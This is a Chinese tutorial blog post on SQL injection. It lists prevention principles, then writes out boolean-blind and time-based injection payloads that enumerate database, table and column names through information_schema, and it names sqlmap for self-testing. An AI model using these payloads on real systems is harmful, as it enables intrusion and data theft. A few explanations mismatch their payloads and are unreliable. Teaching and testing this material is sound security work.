SQL注入的攻防策略
Posted 暗黑程序员
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入的攻防策略相关的知识,希望对你有一定的参考价值。
什么是SQL注入?
SQL注入风险,是攻击者利用请求参数这样一个入口,拼接上自己的恶意SQL语句,根据错误提示信息、执行时长等信息,窥探数据库的库名、表结构和数据,拿到用户数据,再提权控制整个后端系统。
SQL注入是一种最流行的web应用程序漏洞,特别是一些小的web平台,没有经过严格的测试流程,安全问题十分堪忧。虽然数据库本身的技术在发展,web端的技术和框架也在日新月异的更迭,仍然无法完全杜绝此类漏洞。
预防SQL注入的原则
永远不要信任用户的输入。可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。
一、基于BOOL条件注入
1、猜测闭合字符
假如我们有下面一行普通的sql查询,查询用户表中,以a开头的用户,用户余额小于100元的
SELECT * FROM t_users WHERE username LIKE 'a%' and money < 100.00
如果我们没有对用户名做严格校验,前端传的不是a,而是a'
,就会发生下面的情况
SELECT * FROM t_users WHERE username LIKE 'a'%' and money < 100.00
如果返回错误页面,这个用户名是用单引号'
括起来的,如果传入的是双引号,是不会报错的
下面我们把后面的内容都注释掉,使用两个减号--
SELECT * FROM t_users WHERE username LIKE 'a' -- %' and money < 100.00
这样sql又恢复了正常,这个时候,我们就可以在这里插入一些容易报错的sql来探寻数据库的结构
2、猜测查询列数
SELECT * FROM t_users WHERE username LIKE 'a' ORDER BY 3 -- %' and money < 100.00
order by num
如果报错,说明num已经超过表的column列数,这样就可以知道当前的表的column列数
SELECT * FROM t_users WHERE username LIKE 'a' UNION SELECT 1,2,3 -- %' and money < 100.00
如果表的column是3列,这样就不会报错,否则就会报错,也从侧面印证了表的列数是3列
3、猜测数据库长度和数据库名字
先猜测数据库的长度
SELECT * FROM t_users WHERE username LIKE 'a%' AND LENGTH(DATABASE()) > 10 -- %' and money < 100.00
如果页面返回了正常的数据,说明数据库长度是大于5的,没有任何数据返回,说明条件错误
再依次猜测每个字符的ascii码
SELECT * FROM t_users WHERE username LIKE 'a%' AND (ASCII(SUBSTR(DATABASE(),1,1))) > 97 -- %' and money < 100.00
如果页面返回了正常的数据,说明第一个ascii码不是a(97),依此类推,长度多少就猜多少次
4、猜测数据库中表的个数和每个表的名字
SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE()) > 1 -- %' and money < 100.00
正常返回,说明大于1个表,依次增加,直到错误为止
SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) > 5 -- %' and money < 100.00
这样可以查询出第一个表的名称的长度,修改limit 0, 1这个分页,可以查出所有的表名称的长度
SELECT * FROM t_users WHERE username LIKE 'a%' AND (ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))) > 97 -- %' and money < 100.00
猜测第一个表名称的第一个字母的ascii码,依次类推
SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='t_users') > 3 -- %' and money < 100.00
猜测t_users表的列数
SELECT * FROM t_users WHERE username LIKE 'a%' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='t_users' LIMIT 0,1) > 1 -- %' and money < 100.00
猜测t_users表的第一列的长度
SELECT * FROM t_users WHERE username LIKE 'a%' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='t_users' LIMIT 0,1),1,1)) > 97 -- %' and money < 100.00
猜测t_users表的第一列的每个ascii码的字符
二、基于执行时间注入
如果基于BOOL条件注入页面不报错,也没有其他特征,那么可以在BOOL条件的基础上添加sleep来做判断。if(c,a,b)
,如果c为真执行a,否则执行b,然后将b替换为sleep(10)
。
SELECT * FROM t_users WHERE username LIKE 'a%' AND IF(LENGTH(DATABASE()) > 4, 1, SLEEP(5)) -- and money < 100.00
将上面的基于BOOL注入获取数据库名称长度的sql稍加改造,即可获取。如果长度不大于4,就会延迟5秒。
同理,其他各项的注入,都可以通过这种方式加入if判断再延迟,即可轻松获取。
三、借助工具实现快速检测
sqlmap是一种自动化的sql注入检测工具,非常方便的检测api接口是否存在sql注入的漏洞。
burpsuite是一种拦截浏览器数据的工具,结合sqlmap使用起来事半功倍。
总结
大家开发完项目以后,最好使用sqlmap对自己的项目扫描一次,以防止出现SQL注入漏洞。
以上是关于SQL注入的攻防策略的主要内容,如果未能解决你的问题,请参考以下文章